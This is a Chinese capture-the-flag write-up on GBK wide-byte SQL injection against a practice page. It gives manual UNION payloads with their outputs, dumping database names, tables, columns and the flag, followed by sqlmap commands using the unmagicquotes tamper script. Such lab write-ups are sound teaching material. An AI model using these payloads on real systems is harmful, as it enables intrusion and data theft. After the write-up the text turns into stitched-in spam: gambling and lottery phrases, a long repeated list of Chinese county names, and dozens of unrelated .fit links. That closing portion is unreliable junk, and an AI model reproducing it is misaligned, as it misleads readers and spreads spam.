<address id="nd1x7"></address>
        <address id="nd1x7"></address>

              (宽字节注入) 手注+sqlmap

              进入题目后先简单尝试一下。

              分享图片

               

              很明显的宽字节注入。

              宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

              手工注入
              1、判断列数:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
              order by 3 时报错,说明只有两列。

              2、各类信息:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
              [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

              3、库名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
              sae-chinalover

              4、表名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,group_concat(table_name)
              from information_schema.tables
              where table_schema=database()%23
              ctf,ctf2,ctf3,ctf4,news

              5、ctf4表的列名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,group_concat(column_name)
              from information_schema.columns
              where table_name=0x63746634%23
              id,flag

              这里注意:要将表名ctf4转为16进制

              这里提供一个字符串转16进制的网站:

              http://www.5ixuexiwang.com/str/hex.php

              转了16进制之后记得在前面加上0x

              6、flag列的数据:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,(select flag from ctf4)%23
              flag{this_is_sqli_flag}

              sqlmap跑法
              1、查看有哪些库:
              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
              这个时侯就要用到一个脚本了:

              脚本名:unmagicquotes.py

              作用:宽字符绕过

              分享图片

               

               

              2、表名:

              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

              分享图片

               

               

              3、列名:

              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

               分享图片

               

               

              4、flag列的数据:
              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

              分享图片

              相关文章
              相关标签/搜索
              蓝月亮天下彩免费资枓大全年香港最快开奖现场直播,2017跑狗图玄机图,东方心经马报资料2017,一肖一主一码2017,香港马会资料一肖中特1 澄迈县| 宁强县| 彭阳县| 肃宁县| 阳西县| 凤翔县| 小金县| 彩票| 洛隆县| 宁陕县| 丰顺县| 登封市| 龙川县| 赣榆县| 定边县| 菏泽市| 历史| 册亨县| 正蓝旗| 乐业县| 衡南县| 龙山县| 蓬安县| 万年县| 万载县| 蛟河市| 兰坪| 离岛区| 广河县| 荆州市| 永和县| 当阳市| 如皋市| 河池市| 石林| 枣庄市| 甘泉县| 汽车| 唐山市| 石林| 南和县| 满洲里市| 恩施市| 闽清县| 陵水| 兴仁县| 呼伦贝尔市| 花莲市| 江西省| 温宿县| 平定县| 晋中市| 彰化县| 永胜县| 广安市| 栖霞市| 丹阳市| 巴楚县| 江油市| 彰武县| 渝北区| 繁峙县| 凤台县| 江门市| 卓尼县| 保定市| 张家川| 苏州市| 沙洋县| 汝南县| 鹤壁市| 正定县| 石嘴山市| 鸡西市| 翁牛特旗| 霞浦县| 玉田县| 云安县| 星座| 开阳县| 聂荣县| 灵台县| 称多县| 石河子市| 象州县| 三明市| 光泽县| 石楼县| 铜梁县| 石林| 中方县| 三原县| 鲜城| 香格里拉县| 汤原县| 义马市| 西畴县| 宜章县| 遂宁市| 当阳市| 延寿县| 外汇| 云林县| 鹤峰县| 沙田区| 永兴县| 阿拉善盟| 深州市| 武平县| 德化县| 罗田县| 囊谦县| 大城县| 乡宁县| 双江| 伊金霍洛旗| 滦南县| 宜宾县| 镇赉县| 阿克陶县| 榆中县| 新密市| 红河县| 德惠市| 安顺市| 临潭县| 祁连县| 北川| 桂林市| 祁阳县| 永新县| 东港市| 涪陵区| 长丰县| 永胜县| 辽阳市| 宣城市| 即墨市| 小金县| 裕民县| 普洱| 许昌市| 威海市| 昌图县| 乌苏市| 瑞昌市| 营口市| 屏东县| 浦北县| 文安县| 东安县| 克拉玛依市| 宁陕县| 通辽市| 武宁县| 钟祥市| 夏河县| 广西| 临澧县| 禄丰县| 淮北市| 平阴县| 资溪县| 东海县| 林芝县| 新野县| 阿勒泰市| 崇明县| 仁化县| 武川县| 松溪县| 驻马店市| 江山市| 榆中县| 札达县| 宾阳县| 莱州市| 新沂市| 微博| 呼和浩特市| 林口县| 盐源县| 乌拉特后旗| 边坝县| 祁门县| 忻城县| 望都县| 大庆市| 湛江市| 白玉县| 甘谷县| 萨迦县| 定西市| 曲麻莱县| 阳信县| 灌南县| 义乌市| 灵台县| 新郑市| 固原市| 山西省| 霍邱县| 南岸区| 红河县| 开江县| 西充县| 汝南县| 南城县| 蓬溪县| 赤水市| 台前县| 翁牛特旗| 勐海县| 望江县| 博湖县| 明水县| 玛曲县| 五寨县| 抚州市| 大关县| 台湾省| 手游| 枝江市| 洛阳市| 汤阴县| 肇东市| 德钦县| 新泰市| 礼泉县| 汉寿县| 阿拉尔市| 专栏| 灯塔市| 眉山市| 凉山| 麻江县| 屏东市| 北京市| 工布江达县| 深州市| 萨嘎县| 城固县| 嘉祥县| 新疆| 伊宁市| 许昌县| 同仁县| 呼玛县| 彰化市| 塔河县| 个旧市| 连南| 绥阳县| 兰坪| 古丈县| 商河县| 淳安县| 宽城| 绥棱县| 津南区| 揭阳市| 克山县| 临夏市| 德安县| 吴桥县| 忻城县| 东光县| 嫩江县| 什邡市| 无锡市| 祁东县| 自治县| 镇巴县| 银川市| 会泽县| 平顶山市| 邯郸市| 开江县| 崇明县| 贵南县| 威海市| 布拖县| 无极县| 广元市| 永登县| 大同市| 达拉特旗| 金平| 淅川县| 砀山县| 临西县| 美姑县| 云梦县| 沙坪坝区| 彰化市| 社旗县| 读书| 财经| 香河县| 浙江省| 菏泽市| 泸西县| 壶关县| 东丽区| 鄯善县| 宁河县| 左权县| 兴义市| 石狮市| 顺平县| 同德县| 巴彦县| 屯昌县| 隆尧县| 雅江县| 临泽县| 沽源县| 本溪市| 峨边| 兴山县| 梁山县| 临海市| 句容市| 张掖市| 兴义市| 西华县| 襄汾县| 比如县| 涡阳县| 平昌县| 收藏| 西和县| 清徐县| 宝清县| 汝南县| 六盘水市| 武乡县| 于都县| 寿宁县| 将乐县| 汤原县| 赞皇县| 顺平县| 巧家县| 东阿县| 舟曲县| 清新县| 鲜城| 台东市| 东阳市| 崇明县| 松阳县| 丹巴县| 德钦县| 宁南县| 武胜县| 合川市| 五华县| 峡江县| 大宁县| 陕西省| 兴化市| 上林县| 宁强县| 历史| 宜兴市| 青阳县| 鄱阳县| 孝感市| 普宁市| 洛阳市| 金坛市| 论坛| 宿州市| 台中县| 茂名市| 十堰市| 河曲县| 德阳市| 嫩江县| 云浮市| 叙永县| 怀柔区| 合肥市| 遂平县| 金乡县| 新泰市| 礼泉县| 泽库县| 佛教| 临邑县| 阿合奇县| 上蔡县| 根河市| 蒲城县| 邹城市| 许昌市| 东丽区| 静安区| 大邑县| 苗栗县| 黔东| 东乡族自治县| 镇赉县| 济宁市| 南召县| 巴彦淖尔市| 肃宁县| 察雅县| 柘荣县| 泽普县| 靖安县| 高淳县| 论坛| 沁水县| 滕州市| 潼关县| 广平县| 兴城市| 樟树市| 四会市| 西峡县| 射阳县| 泽库县| 类乌齐县| 南漳县| 宁波市| 合水县| 宁远县| 运城市| 临沧市| 海门市| 理塘县| 河西区| 上栗县| 汶上县| 津市市| 同心县| 天全县| 胶州市| 富裕县| 北辰区| 麟游县| 嘉鱼县| 康保县| 黔江区| 霍州市| 连城县| 都匀市| 沁源县| 佛山市| 延庆县| 克东县| 许昌县| 罗定市| 阳江市| 罗平县| 藁城市| 巴彦县| 甘孜| 通化市| 台中县| 宣恩县| 盘山县| 美姑县| 新巴尔虎右旗| 马山县| 鞍山市| 汝州市| 中牟县| 景洪市| 临泽县| 车险| 桃江县| 于都县| 盐城市| 沙河市| 抚宁县| 延川县| 化州市| 新泰市| 塘沽区| 民权县| 嘉义市| 大丰市| 雷波县| 泸州市| 三穗县| 涞源县| 托克托县| 西丰县| 大庆市| 常山县| 庆阳市| 梁河县| 游戏| 沅江市| 虹口区| 靖边县| 东丰县| 固镇县| 佛山市| 类乌齐县| 玛纳斯县| 清原| 肥乡县| 石家庄市| 新干县| 洞口县| 石狮市| 庆安县| 孟村| 贡嘎县| 威远县| 东海县| 蓝田县| 泗洪县| 龙门县| 固原市| 广宗县| 将乐县| 淮滨县| 盐源县| 登封市| 杨浦区| 黎城县| 韩城市| 金川县| 项城市| 尚志市| 离岛区| 新兴县| 池州市| 出国| 云林县| 石台县| 灵川县| 鄂温| 宁晋县| 盖州市| 龙江县| 南靖县| 济宁市| 潢川县| 中牟县| 绥棱县| 教育| 黔西县| 湘乡市| 怀宁县| 阿坝| 牡丹江市| 石首市| 阿克苏市| 屏南县| 增城市| 天气| 明溪县| 孟连| 西宁市| 屯门区| 阳高县| 绥德县| 郓城县| 左权县| 东源县| 涟源市| 通州市| 彭州市| 元江| 海安县| 新宁县| 清镇市| 绥滨县| 江西省| 竹山县| 永胜县| 柯坪县| 黔西| 大关县| 孟津县| 青冈县| 喀什市| 通许县| 望都县| 松滋市| 建阳市| 井研县| 家居| 天水市| 泰兴市| 灌云县| 浮梁县| 漳州市| 永福县| 洪雅县| 台山市| 乐安县| 闸北区| 肃南| 托克托县| 仁布县| 兰考县| 阜康市| 富锦市| 灵川县| 杭锦旗| 长泰县| 兴安县| 景泰县| 探索| 当雄县| 仪陇县| 剑阁县| 稻城县| http://wap.jghhgs.fit http://wap.jmipms.fit http://www.tcgbrq.fit http://www.pvyrtc.fit http://m.pogjxf.fit http://m.zqvmdj.fit http://wap.rodqep.fit http://wap.hhsrnw.fit http://osrxjj.fit http://wap.dkbnwe.fit http://zwawhd.fit http://wap.xofldd.fit http://navdvv.fit http://wap.wozfox.fit http://ixdgdn.fit http://m.wofoog.fit http://wap.fjjhfy.fit http://m.sgvqdh.fit